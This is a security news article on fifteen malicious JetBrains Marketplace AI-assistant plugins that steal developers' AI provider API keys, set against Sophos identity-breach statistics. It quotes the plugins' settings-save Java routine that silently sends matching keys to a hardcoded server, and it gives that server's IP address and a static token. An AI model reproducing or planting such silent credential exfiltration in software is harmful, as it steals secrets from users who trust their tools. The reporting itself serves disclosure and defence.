JetBrains Marketplace Malware Stole AI Keys From 70,000 Developers

Security researchers at Aikido have identified fifteen malicious JetBrains Marketplace plugins that exfiltrate AI provider API keys from any developer who installs them. The plugins sit under seven vendor accounts and have been installed close to 70,000 times combined, and the same operation runs a paid tier that returns a working key to anyone who pays a small fee. The keys handed to paying users likely come from the free users who typed in their own, so the developers who paid for access end up funding the theft.

The earliest malicious plugins appeared at the end of October 2025. New variants have continued to slip past the JetBrains review process through June 2026, and the two highest-downloaded entries are DeepSeek AI Assist at 27,727 downloads and CodeGPT AI Assistant at 25,571 downloads.

What the JetBrains Marketplace Missed

Every JetBrains plugin goes through a manual review before it lands in the marketplace, and Aikido’s investigation shows how narrow that review is. The malicious plugins do exactly what their listings promise. They deliver AI chat, generate commit messages, run code review, and write unit tests, with the credential theft running along paths a reviewer does not have to follow.

That gap is enough to scale a campaign. Aikido counted fifteen IDE plugins, published under seven vendor profiles, all built from the same renamed and repackaged codebase, with the vendor accounts carrying the names CodePilot, StackSmith, CodeCrafter, CodeWeaver, JetCode, DailyCode, and ZenCoder. Together those plugins registered close to 70,000 installs. Aikido warns the install figure is unreliable because marketplace vendors can inflate download counts and listings also carry fake five star reviews, and the full plugin list and code analysis sits inside the full plugin list and code analysis.

Two of the seven vendor accounts have done most of the damage. CodePilot published the CodeGPT AI Assistant plugin on 9 June 2026, and ZenCoder published DeepSeek AI Assist the next day. BleepingComputer downloaded and independently confirmed that the DeepSeek AI Assist binary still contains the credential theft code described in the Aikido write-up. Both plugins remained available through the JetBrains Marketplace at the time of Aikido’s report, and JetBrains had not responded to a request for comment. A working plugin and an active theft routine coexist inside the same binary, which is the heart of the campaign.

The Save() Method That Hands Over the Key

The exfiltration runs through the most routine action in the plugin. To activate any of these AI assistants, a developer pastes an API key for OpenAI, SiliconFlow, or DeepSeek into the settings panel and clicks Apply. The settings handler stores the value, then immediately POSTs the same string to a hardcoded server at 39.107.60.51 over plain HTTP, authenticated with a static token embedded in the plugin: F48D2AA7CF341F782C1D. The call fires with no prompt and no consent screen, and the key leaves the machine as part of a normal save operation that enterprise data loss prevention tools are built to ignore.

// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
if (key != null && key.startsWith(“sk-“) && ks.add(key) && StringUtils.length(key) == 51) {
SoftwareDto dto = new SoftwareDto();
dto.setApiKey(key);
BaseUtil.request(“key”, dto);
}
}

The destination server has no affiliation with any recognised cloud provider, and the credentials travel in plaintext. Aikido scores the issue as a 100 out of 100 critical malware flag, the highest tier in its scanner. The chain is short, silent, and entirely inside a tool the developer already trusts.

One Campaign, Two Revenue Streams

Aikido’s theory turns the operation from a credential heist into a small business. One group of victims pastes in their own keys, which the server harvests. A second group pays the operator through a donation wall built into the plugin and receives a working API key in return.

The plugin always prefers the server-supplied key over the one the developer typed. After a user pays, the external server transmits a functional API key back to the client software, and the local plugin overrides any user-provided keys for subsequent model requests. Aikido notes that no legitimate commercial operator distributes unrestricted, functional access tokens directly to end-users in this manner. The implication is that the keys handed to paying customers are the keys stolen from everyone else.

• CodePilot (mycode)
• StackSmith (misshewei)
• CodeCrafter (keteme)
• CodeWeaver (simpledev)
• JetCode (skyblue)
• DailyCode (dialycode)
• ZenCoder (947cb4c8-5db1-4cf0-8182-0aae7c433bb3)

Those are the seven vendor accounts that published the campaign’s fifteen plugins. The accounts let the operators publish new entries quickly as old ones get flagged or removed. The arrangement converts a steady stream of free installs into a continuing inventory of paid customers.

Plugged Into a Wider Identity Crisis

The JetBrains campaign is one episode in a much larger pattern around non-human identity management. Sophos published its State of Identity Security 2026 report on 12 May 2026, drawing on a survey of 5,000 IT and cybersecurity leaders across 17 countries and 14 industries. The headline finding: 71% of organisations suffered at least one identity-related breach in the past 12 months, and the average affected organisation was hit three times.

Non-human identities are the core of the story. Sophos classifies API keys, tokens, and service accounts as non-human identities and notes that NHIs can outnumber human identities by ratios as high as 100 to 1. Weak management of these machine credentials was the root cause of 41% of successful identity breaches. Only 34% of organisations regularly audit or rotate service accounts and NHIs, and just 11% do so continuously.

• 71% of organisations hit by at least one identity-related breach in the past year
• 41% of successful identity breaches had weak non-human identity management as a root cause
• 34% of organisations regularly audit or rotate non-human identities
• 11% of organisations do so continuously
• $1.64 million average cost to recover from a single identity breach

The financial toll runs heavier when non-human credentials are mishandled. Organisations with weak NHI management are 22% more likely to experience financial theft and pay approximately $150,000 more to recover than the average.

The Sophos survey also breaks down the spread by sector. Energy, oil and gas, and utilities reported the highest breach rate at 80%, while IT and technology came in lowest at 63%. IT and technology is the same population the JetBrains campaign targeted, and it is the sector with the lowest breach rate and therefore the lowest expectation of compromise.

From Stolen Token to Ransomware Deployment

A stolen AI provider key looks like a narrow incident on its face. In practice, the same Sophos data ties the identity breach directly to the ransomware pipeline. Two-thirds of ransomware victims in the survey reported that their most significant identity breach was the exact mechanism that facilitated the subsequent ransomware execution.

Stolen tokens provide the initial access vectors required to compromise broader cloud environments. Once threat actors secure valid authentication keys, they map out accessible databases, source code repositories, and integrated production pipelines.

The campaign inside JetBrains sits inside that pipeline. The malicious plugins exfiltrate working credentials from a workstation, then quietly route future model requests through a server-supplied key, so the operator keeps ongoing access to a stream of paid and free users. Sophos found that 48.8% of breached organisations experienced data theft and 48.4% suffered complete ransomware deployment. The cost of a single JetBrains plugin install can therefore land as a downstream ransomware event rather than a contained workstation incident.

Where Platform Governance Has to Catch Up

The JetBrains review process is the obvious place to start. The vendor accounts behind this campaign had clean-looking listings, working plugins, and only the buried credential theft code to flag.

Aikido ships one open-source option in that direction. Aikido Safe Chain sits in the developer workflow and intercepts npm, npx, yarn, pnpm, and pnpx commands at the terminal level, validating each package against Aikido’s threat intelligence database before it installs. The same interception model can extend to IDE plugin metadata and treat a marketplace install with the same suspicion as a package pulled from a public registry.

The wider identity problem shows why that interception matters. Only 24% of organisations continually monitor for unusual login attempts, and more than half check every three months or less, per the Sophos survey. Detection gaps persist: 14% of breached organisations could not detect and stop their most significant identity attack before damage was done. Smaller organisations with 100 to 250 employees were nearly twice as likely to fail at detection as mid-sized peers, leaving thin IT teams most exposed when an IDE plugin exfiltrates keys in the background.

The remediation gap runs just as wide. The mean recovery cost for a single identity breach is $1.64 million, with a median of $750,000, and 73% of victims paid at least $250,000 to recover. Organisations with weak non-human identity management pay approximately $150,000 more than the average, and the JetBrains campaign is one route into that bill.

For engineering teams that installed any of the affected plugins, the immediate response is to revoke exposed AI provider credentials without delay and audit external model request logs for unauthorised geographical or volume-based usage anomalies. The long-term fix is platform governance that treats every marketplace install the same way as a package pulled from a public registry.

Frequently Asked Questions

Which JetBrains Marketplace plugins were affected?

Aikido listed all fifteen entries, with the two highest-downloaded being DeepSeek AI Assist at 27,727 installs on 10 June 2026 and CodeGPT AI Assistant at 25,571 installs on 9 June 2026. The remainder span release dates from late October 2025 through mid-2026, and each shares the same renamed-and-repackaged codebase. The full roster, with plugin IDs and release dates, sits inside the Aikido investigation linked earlier in this article.

Which AI provider keys did the campaign steal?

The malicious plugins accepted keys for OpenAI, SiliconFlow, and DeepSeek. The code validates inputs that begin with the OpenAI-style prefix “sk-” and run to exactly 51 characters, then POSTs the matching string to a hardcoded server the moment the developer clicks Apply. The destination IP, the static authentication token, and the full network call are all published in the Aikido investigation.

How does the JetBrains campaign fit the wider identity breach picture?

The Sophos State of Identity Security 2026 report found that 71% of organisations suffered at least one identity-related breach in the past year, and that 41% of successful breaches had weak non-human identity management as a root cause. Two-thirds of ransomware victims in the survey tied their incident back to an identity compromise, and the average recovery cost landed at $1.64 million. The JetBrains operation is one mechanism that produces exactly the kind of stolen non-human credentials Sophos identifies as the dominant breach vector.

What should an organisation do if one of these plugins is installed?

Revoke any AI provider credentials that were ever pasted into the plugin’s settings, rotate the keys at the provider, and audit model request logs for unexpected geographical or volume-based usage. Then compare installed JetBrains plugins against the published plugin list and remove any that match. Treat any key that touched a flagged plugin as compromised, regardless of how long ago it was typed in.

Who is most at risk from this type of attack?

Engineering teams that adopted AI coding assistants through the JetBrains Marketplace, particularly tools claiming DeepSeek or OpenAI integration, are the most directly exposed group. The risk also extends to any organisation whose developers handle paid AI provider keys, since the stolen credentials can fund further attacks elsewhere on the operator’s infrastructure. Sophos found that smaller organisations with 100 to 250 employees fail to detect identity attacks at nearly twice the rate of larger peers, which makes them the most exposed of all.